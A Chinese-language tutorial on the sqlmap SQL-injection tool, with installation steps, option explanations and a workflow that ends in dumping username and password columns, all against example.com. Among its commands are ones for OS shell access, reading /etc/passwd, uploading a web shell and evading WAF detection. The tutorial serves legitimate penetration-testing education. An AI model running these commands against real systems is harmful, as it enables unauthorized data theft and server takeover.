sqlmap
是一款开源的渗透测试工具,旨在自动化检测和利用 SQL 注入漏洞,并接管数据库服务器。它具有强大的检测引擎和广泛的功能,可以帮助渗透测试人员进行数据库指纹识别、数据获取、文件系统访问以及在操作系统上执行命令等操作。
上图的问题,给 url 加上双引号就好了
sqlmap 的基本用法
sqlmap
是一个命令行工具,通常与 Python 解释器一起使用。
1. 安装 (如果尚未安装):
- Linux (Kali Linux 通常预装):
或者通过 Git 克隆:sudo apt install sqlmap
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
- Windows: 从 sqlmap 官网 下载
.zip
文件并解压。
2. 基本语法:
python sqlmap.py [options]
或直接使用 sqlmap
(如果已添加到 PATH):
sqlmap [options]
3. 常用选项和示例:
-u
或--url
:指定目标 URL。
这是最基本的用法,用于指定要测试的 Web 应用程序的 URL。sqlmap -u "http://example.com/vuln.php?id=1"
--dbs
:枚举数据库名称。
发现目标服务器上的所有数据库。sqlmap -u "http://example.com/vuln.php?id=1" --dbs
-D <DB NAME>
:指定要操作的数据库。
与--tables
、--columns
或--dump
结合使用。sqlmap -u "http://example.com/vuln.php?id=1" -D <database_name> --tables
--tables
:枚举指定数据库中的表。sqlmap -u "http://example.com/vuln.php?id=1" -D <database_name> --tables
-T <TABLE NAME>
:指定要操作的表。
与--columns
或--dump
结合使用。sqlmap -u "http://example.com/vuln.php?id=1" -D <database_name> -T <table_name> --columns
--columns
:枚举指定表中所有列。sqlmap -u "http://example.com/vuln.php?id=1" -D <database_name> -T <table_name> --columns
-C <COLUMN NAME>
:指定要操作的列。
与--dump
结合使用。sqlmap -u "http://example.com/vuln.php?id=1" -D <database_name> -T <table_name> -C <column_name> --dump
--dump
:转储(获取)指定数据库、表或列的数据。# 转储整个表的数据 sqlmap -u "http://example.com/vuln.php?id=1" -D <database_name> -T <table_name> --dump # 转储指定列的数据 sqlmap -u "http://example.com/vuln.php?id=1" -D <database_name> -T <table_name> -C "username,password" --dump
--current-user
:获取当前数据库用户。sqlmap -u "http://example.com/vuln.php?id=1" --current-user
--current-db
:获取当前数据库名称。sqlmap -u "http://example.com/vuln.php?id=1" --current-db
--is-dba
:检查当前用户是否为 DBA(数据库管理员)。sqlmap -u "http://example.com/vuln.php?id=1" --is-dba
--passwords
:获取数据库用户的密码哈希。
需要 DBA 权限或特定条件。sqlmap -u "http://example.com/vuln.php?id=1" --passwords
--data
:指定 POST 请求的数据。
当目标是 POST 请求时使用。sqlmap -u "http://example.com/login.php" --data="username=test&password=test"
-r <request_file>
:从文件加载 HTTP 请求。
你可以使用 Burp Suite 等工具捕获 HTTP 请求并保存到文件,然后sqlmap
可以加载该文件进行测试。sqlmap -r request.txt
-p <parameter>
:指定要测试的参数。
如果 URL 中有多个参数,你可以指定只测试其中一个。sqlmap -u "http://example.com/search.php?query=test&cat=1" -p query
--batch
:在交互式提示时自动选择默认选项。
在自动化脚本中很有用。sqlmap -u "http://example.com/vuln.php?id=1" --dbs --batch
--random-agent
:使用随机的用户代理。
有助于规避一些简单的检测。sqlmap -u "http://example.com/vuln.php?id=1" --random-agent
--level=<level>
和--risk=<risk>
:设置测试的深度和风险等级。
level
影响测试的彻底性 (默认 1),risk
影响使用高风险查询的频率 (默认 1)。sqlmap -u "http://example.com/vuln.php?id=1" --level=5 --risk=3
--os-shell
:尝试获取操作系统的 shell 访问权限。
需要特定的数据库配置和权限。sqlmap -u "http://example.com/vuln.php?id=1" --os-shell
--file-read=<file_path>
:读取目标服务器上的文件。
需要文件读写权限。sqlmap -u "http://example.com/vuln.php?id=1" --file-read="/etc/passwd"
--file-write=<local_file_path> --file-dest=<remote_file_path>
:将本地文件写入目标服务器。
需要文件读写权限。sqlmap -u "http://example.com/vuln.php?id=1" --file-write="local_shell.php" --file-dest="/var/www/html/shell.php"
使用流程建议:
目标识别和初步探测:
sqlmap -u "http://example.com/vuln.php?id=1"
此命令将自动检测注入点和可用的注入技术。
枚举数据库:
sqlmap -u "http://example.com/vuln.php?id=1" --dbs
枚举特定数据库中的表:
选择一个感兴趣的数据库(例如webdb
):sqlmap -u "http://example.com/vuln.php?id=1" -D webdb --tables
枚举特定表中的列:
选择一个感兴趣的表(例如users
):sqlmap -u "http://example.com/vuln.php?id=1" -D webdb -T users --columns
转储数据:
选择感兴趣的列(例如username
,password
):sqlmap -u "http://example.com/vuln.php?id=1" -D webdb -T users -C "username,password" --dump
或者直接转储整个表的数据:
sqlmap -u "http://example.com/vuln.php?id=1" -D webdb -T users --dump
重要提示:
- 合法性: 未经授权,请勿对任何网站使用
sqlmap
。sqlmap
旨在用于合法的渗透测试和安全研究。 - 权限:
sqlmap
的功能取决于你所利用的 SQL 注入漏洞的类型以及目标数据库用户的权限。 - WAF/IPS 绕过: 实际环境中,目标网站可能部署有 WAF (Web Application Firewall) 或 IPS (Intrusion Prevention System) 来防御 SQL 注入。
sqlmap
提供--tamper
选项来使用各种脚本绕过这些防御措施。 - 详细帮助: 使用
sqlmap -h
或sqlmap -hh
可以查看更详细的帮助信息和所有可用的选项。
sqlmap
是一个非常强大的工具,熟练掌握其基本用法是进行 SQL 注入测试的关键一步。